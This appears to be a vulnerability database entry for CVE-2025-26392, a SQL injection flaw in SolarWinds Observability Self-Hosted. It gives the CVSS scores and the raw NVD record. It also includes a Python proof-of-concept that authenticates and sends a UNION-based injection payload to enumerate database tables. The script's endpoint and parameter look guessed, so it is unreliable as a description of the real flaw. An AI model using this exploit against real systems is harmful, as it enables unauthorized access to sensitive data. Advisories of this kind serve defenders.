Security Vulnerability Report
中文
CVE-2025-26392 CVSS 5.4 MEDIUM

CVE-2025-26392

Published: 2025-10-21 08:15:34
Last Modified: 2025-11-12 19:17:34

Description

SolarWinds Observability Self-Hosted is susceptible to SQL injection vulnerability that may display sensitive data using a low-level account. This vulnerability requires authentication from a low-privilege account.

CVSS Details

CVSS Score
5.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:solarwinds:observability_self-hosted:*:*:*:*:*:*:*:* - VULNERABLE
SolarWinds Observability Self-Hosted 2025-4之前版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-26392 - SolarWinds Observability Self-Hosted SQL Injection PoC # This PoC demonstrates the SQL injection vulnerability in the SolarWinds Observability Self-Hosted # The vulnerability exists in API endpoints that fail to properly sanitize user input import requests import sys TARGET_URL = "https://target-solarwinds-observability:443" USERNAME = "low_priv_user" PASSWORD = "password123" # Step 1: Authenticate with low-privilege account to obtain session token def authenticate(base_url, username, password): """Authenticate to obtain a valid session token""" login_url = f"{base_url}/api/v1/auth/login" payload = { "username": username, "password": password } response = requests.post(login_url, json=payload, verify=False) if response.status_code == 200: return response.json().get("token") return None # Step 2: Exploit SQL injection in a vulnerable parameter def exploit_sqli(base_url, token, injection_payload): """Send crafted request with SQL injection payload""" headers = { "Authorization": f"Bearer {token}", "Content-Type": "application/json" } # The injection point varies depending on the affected endpoint vulnerable_url = f"{base_url}/api/v1/monitoring/query" params = { "nodeId": injection_payload # SQL injection via nodeId parameter } response = requests.get(vulnerable_url, headers=headers, params=params, verify=False) return response # Step 3: Extract sensitive data using UNION-based SQL injection def extract_data(base_url, token): """Use UNION-based injection to extract database contents""" # Example UNION-based payload to enumerate tables payload = "1' UNION SELECT table_name, NULL, NULL FROM information_schema.tables--" response = exploit_sqli(base_url, token, payload) if response.status_code == 200: print("[+] Extracted tables:") print(response.text) return response if __name__ == "__main__": requests.packages.urllib3.disable_warnings() print(f"[*] Target: {TARGET_URL}") token = authenticate(TARGET_URL, USERNAME, PASSWORD) if token: print("[+] Authentication successful") print("[*] Attempting SQL injection...") extract_data(TARGET_URL, token) else: print("[-] Authentication failed") sys.exit(1)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-26392", "sourceIdentifier": "[email protected]", "published": "2025-10-21T08:15:33.757", "lastModified": "2025-11-12T19:17:34.233", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "SolarWinds Observability Self-Hosted is susceptible to SQL injection vulnerability that may display sensitive data using a low-level account. This vulnerability requires authentication from a low-privilege account."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "ADJACENT_NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:solarwinds:observability_self-hosted:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.4", "matchCriteriaId": "0C8B2AA0-84AA-4134-88A0-837DF8E062A8"}]}]}], "references": [{"url": "https://documentation.solarwinds.com/en/success_center/orionplatform/content/release_notes/hco_2025-4_release_notes.htm", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://www.solarwinds.com/trust-center/security-advisories/CVE-2025-26392", "source": "[email protected]", "tags": ["Patch", "Vendor Advisory"]}]}}